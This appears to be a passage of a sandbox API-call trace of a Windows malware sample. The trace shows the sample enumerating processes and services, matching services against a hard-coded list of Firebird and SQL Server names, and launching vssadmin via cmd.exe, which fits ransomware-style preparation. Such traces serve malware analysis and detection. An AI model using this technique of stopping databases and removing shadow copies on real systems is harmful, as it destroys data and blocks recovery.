hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="headline.exe")) returned 1 [0053.222] lstrlenW (lpString="headline.exe") returned 12 [0053.222] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="army_unsigned.exe")) returned 1 [0053.222] lstrlenW (lpString="army_unsigned.exe") returned 17 [0053.222] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="disciplinedeborah.exe")) returned 1 [0053.223] lstrlenW (lpString="disciplinedeborah.exe") returned 21 [0053.223] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distribution-gif.exe")) returned 1 [0053.223] lstrlenW (lpString="distribution-gif.exe") returned 20 [0053.223] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tribunal.exe")) returned 1 [0053.223] lstrlenW (lpString="tribunal.exe") returned 12 [0053.223] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="aafeof.exe")) returned 1 [0053.234] lstrlenW (lpString="aafeof.exe") returned 10 [0053.234] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sharpdollarsvocational.exe")) returned 1 [0053.234] lstrlenW (lpString="sharpdollarsvocational.exe") returned 26 [0053.234] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="encryption.exe")) returned 1 [0053.235] lstrlenW (lpString="encryption.exe") returned 14 [0053.235] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0053.235] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0053.235] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="1с_.exe")) returned 1 [0053.236] lstrlenW (lpString="1с_.exe") returned 7 [0053.236] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x938, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x92c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0053.236] lstrlenW (lpString="cmd.exe") returned 7 [0053.236] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x954, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0053.236] lstrlenW (lpString="conhost.exe") returned 11 [0053.236] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x938, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0053.237] lstrlenW (lpString="vssadmin.exe") returned 12 [0053.237] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0053.237] lstrlenW (lpString="VSSVC.exe") returned 9 [0053.237] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0053.238] lstrlenW (lpString="svchost.exe") returned 11 [0053.238] Process32NextW (in: hSnapshot=0x204, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0053.238] CloseHandle (hObject=0x204) returned 1 [0053.238] Sleep (dwMilliseconds=0x1f4) [0053.954] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x58ff60 [0053.958] EnumServicesStatusExW (in: hSCManager=0x58ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0053.978] GetLastError () returned 0xea [0053.978] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x12c6) returned 0x60eb98 [0053.978] EnumServicesStatusExW (in: hSCManager=0x58ff60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x60eb98, cbBufSize=0x12c6, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x60eb98, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0053.979] CloseServiceHandle (hSCObject=0x58ff60) returned 1 [0053.979] lstrlenW (lpString="Appinfo") returned 7 [0053.979] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0053.979] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0053.979] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0053.980] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0053.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0053.980] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0053.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0053.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0053.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0053.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0053.980] lstrlenW (lpString="AudioSrv") returned 8 [0053.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0053.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0053.980] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0053.980] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0053.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0053.980] lstrlenW (lpString="BFE") returned 3 [0053.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0053.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0053.980] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0053.980] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0053.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0053.980] lstrlenW (lpString="CryptSvc") returned 8 [0053.980] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0053.980] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0053.980] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0053.980] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0053.980] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0053.981] lstrlenW (lpString="CscService") returned 10 [0053.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0053.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0053.981] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0053.981] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0053.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0053.981] lstrlenW (lpString="DcomLaunch") returned 10 [0053.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0053.981] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0053.981] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0053.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0053.981] lstrlenW (lpString="Dhcp") returned 4 [0053.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0053.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0053.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0053.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0053.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0053.981] lstrlenW (lpString="Dnscache") returned 8 [0053.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0053.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0053.981] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0053.981] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0053.981] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0053.981] lstrlenW (lpString="DPS") returned 3 [0053.981] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0053.981] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0053.982] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0053.982] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0053.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0053.982] lstrlenW (lpString="eventlog") returned 8 [0053.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0053.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0053.982] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0053.982] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0053.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0053.982] lstrlenW (lpString="EventSystem") returned 11 [0053.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0053.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0053.982] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0053.982] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0053.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0053.982] lstrlenW (lpString="gpsvc") returned 5 [0053.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0053.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0053.982] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0053.982] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0053.982] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0053.982] lstrlenW (lpString="iphlpsvc") returned 8 [0053.982] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.982] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0053.982] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0053.982] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0053.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0053.983] lstrlenW (lpString="LanmanServer") returned 12 [0053.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0053.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0053.983] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0053.983] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0053.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0053.983] lstrlenW (lpString="LanmanWorkstation") returned 17 [0053.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0053.983] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0053.983] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0053.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0053.983] lstrlenW (lpString="lmhosts") returned 7 [0053.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0053.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0053.983] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0053.983] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0053.983] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0053.983] lstrlenW (lpString="MMCSS") returned 5 [0053.983] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0053.983] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0053.983] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0053.984] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0053.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0053.984] lstrlenW (lpString="MpsSvc") returned 6 [0053.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0053.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0053.984] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0053.984] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0053.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0053.984] lstrlenW (lpString="Netman") returned 6 [0053.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0053.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0053.984] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0053.984] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0053.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0053.984] lstrlenW (lpString="netprofm") returned 8 [0053.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0053.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0053.984] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0053.984] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0053.984] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0053.984] lstrlenW (lpString="NlaSvc") returned 6 [0053.984] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0053.984] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0053.984] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0053.984] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0053.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0053.985] lstrlenW (lpString="nsi") returned 3 [0053.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0053.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0053.985] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0053.985] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0053.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0053.985] lstrlenW (lpString="PcaSvc") returned 6 [0053.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0053.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0053.985] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0053.985] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0053.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0053.985] lstrlenW (lpString="PlugPlay") returned 8 [0053.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0053.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0053.985] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0053.985] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0053.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0053.985] lstrlenW (lpString="Power") returned 5 [0053.985] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0053.985] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0053.985] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0053.985] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0053.985] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0053.985] lstrlenW (lpString="ProfSvc") returned 7 [0053.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0053.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0053.986] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0053.986] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0053.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0053.986] lstrlenW (lpString="RpcEptMapper") returned 12 [0053.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0053.986] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0053.986] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0053.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0053.986] lstrlenW (lpString="RpcSs") returned 5 [0053.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0053.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0053.986] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0053.986] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0053.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0053.986] lstrlenW (lpString="SamSs") returned 5 [0053.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0053.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0053.986] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0053.986] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0053.986] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0053.986] lstrlenW (lpString="Schedule") returned 8 [0053.986] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0053.986] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0053.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0053.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0053.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0053.987] lstrlenW (lpString="SENS") returned 4 [0053.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0053.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0053.987] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0053.987] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0053.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0053.987] lstrlenW (lpString="ShellHWDetection") returned 16 [0053.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0053.987] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0053.987] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0053.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0053.987] lstrlenW (lpString="Spooler") returned 7 [0053.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0053.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0053.987] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0053.987] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0053.987] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0053.987] lstrlenW (lpString="swprv") returned 5 [0053.987] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0053.987] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0053.987] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0053.987] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0053.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0053.988] lstrlenW (lpString="SysMain") returned 7 [0053.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0053.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0053.988] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0053.988] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0053.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0053.988] lstrlenW (lpString="Themes") returned 6 [0053.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0053.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0053.988] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0053.988] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0053.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0053.988] lstrlenW (lpString="TrkWks") returned 6 [0053.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0053.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0053.988] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0053.988] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0053.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0053.988] lstrlenW (lpString="UxSms") returned 5 [0053.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0053.988] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0053.988] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0053.988] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0053.988] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0053.988] lstrlenW (lpString="VSS") returned 3 [0053.988] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0053.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0053.989] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0053.989] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0053.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0053.989] lstrlenW (lpString="WdiServiceHost") returned 14 [0053.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0053.989] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0053.989] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0053.989] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0053.989] lstrlenW (lpString="WdiSystemHost") returned 13 [0053.989] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.989] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0053.989] lstrcmpiW (lpString1="sqlwriter", 